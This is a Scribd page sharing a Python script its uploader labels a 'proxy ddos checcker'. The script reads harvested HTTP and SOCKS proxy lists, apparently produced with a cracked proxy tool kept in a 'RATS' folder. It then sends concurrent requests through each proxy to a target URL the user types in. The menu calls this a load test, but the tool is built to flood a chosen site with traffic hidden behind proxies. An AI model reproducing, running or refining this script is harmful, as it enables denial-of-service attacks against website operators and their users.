Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
0% found this document useful (0 votes)
24 views

Python Code For Class

proxy ddos checcker

Uploaded by

marcelafsarfn2
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
24 views

Python Code For Class

proxy ddos checcker

Uploaded by

marcelafsarfn2
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

import requests

import pyfiglet
from colorama import Fore, Style, init
from concurrent.futures import ThreadPoolExecutor
import socks # Import the socks module for SOCKS proxy support
import time
import random

# Initialize colorama
init(autoreset=True)

# Load proxies from files


def load_proxies(file_path):
with open(file_path, 'r') as file:
return [line.strip() for line in file]

# Update file paths


http_proxies = load_proxies(r"C:\Users\marce\Documents\RATS\AstroProxy v2 Cracked
By Drcrypt0r\AstroProxy v2 Cracked By Drcrypt0r\results\HTTP_Proxies.txt")
socks4_proxies = load_proxies(r"C:\Users\marce\Documents\RATS\AstroProxy v2 Cracked
By Drcrypt0r\AstroProxy v2 Cracked By Drcrypt0r\results\SOCKS4_Proxies.txt")
socks5_proxies = load_proxies(r"C:\Users\marce\Documents\RATS\AstroProxy v2 Cracked
By Drcrypt0r\AstroProxy v2 Cracked By Drcrypt0r\results\SOCKS5_Proxies.txt")

# Combine all proxies into a single list


all_proxies = [
{"http": f"http://{proxy}", "https": f"http://{proxy}"} for proxy in
http_proxies
] + [
{"http": f"socks4://{proxy}", "https": f"socks4://{proxy}"} for proxy in
socks4_proxies
] + [
{"http": f"socks5://{proxy}", "https": f"socks5://{proxy}"} for proxy in
socks5_proxies
]

url = None

def send_request(proxy):
try:
response = requests.get(url, proxies=proxy, timeout=10) # Increased
timeout
print(f"{Fore.GREEN}Status Code: {response.status_code} for proxy:
{proxy}")
except requests.RequestException as e:
print(f"{Fore.RED}Request failed for proxy {proxy}: {e}")
finally:
# Sleep for a random time between 2 and 5 seconds and print waiting message
each second
wait_time = random.randint(2, 5)
for second in range(1, wait_time + 1):
print(f"Waiting {second} second{'s' if second > 1 else ''}...")
time.sleep(1)

def run_load_test(num_requests):
with ThreadPoolExecutor(max_workers=num_requests) as executor:
for proxy in all_proxies:
executor.submit(send_request, proxy)
def main_menu():
global url
banner = pyfiglet.figlet_format("Donk")
print(Fore.CYAN + banner)
print(Fore.CYAN + "Made by Marcel Afsar")

while True:
print(Fore.YELLOW + "1. Set Target Website")
print(Fore.YELLOW + "2. Start Load Test")
print(Fore.YELLOW + "3. Exit")

choice = input(Fore.CYAN + "Enter your choice: ")

if choice == '1':
url = input(Fore.CYAN + "Enter the target website URL: ")
elif choice == '2':
if url is None:
print(Fore.RED + "Please set the target website URL first.")
else:
num_requests = int(input(Fore.CYAN + "Enter number of concurrent
requests: "))
run_load_test(num_requests)
elif choice == '3':
print(Fore.CYAN + "Exiting...")
break
else:
print(Fore.RED + "Invalid choice. Please try again.")

if __name__ == "__main__":
main_menu()

You might also like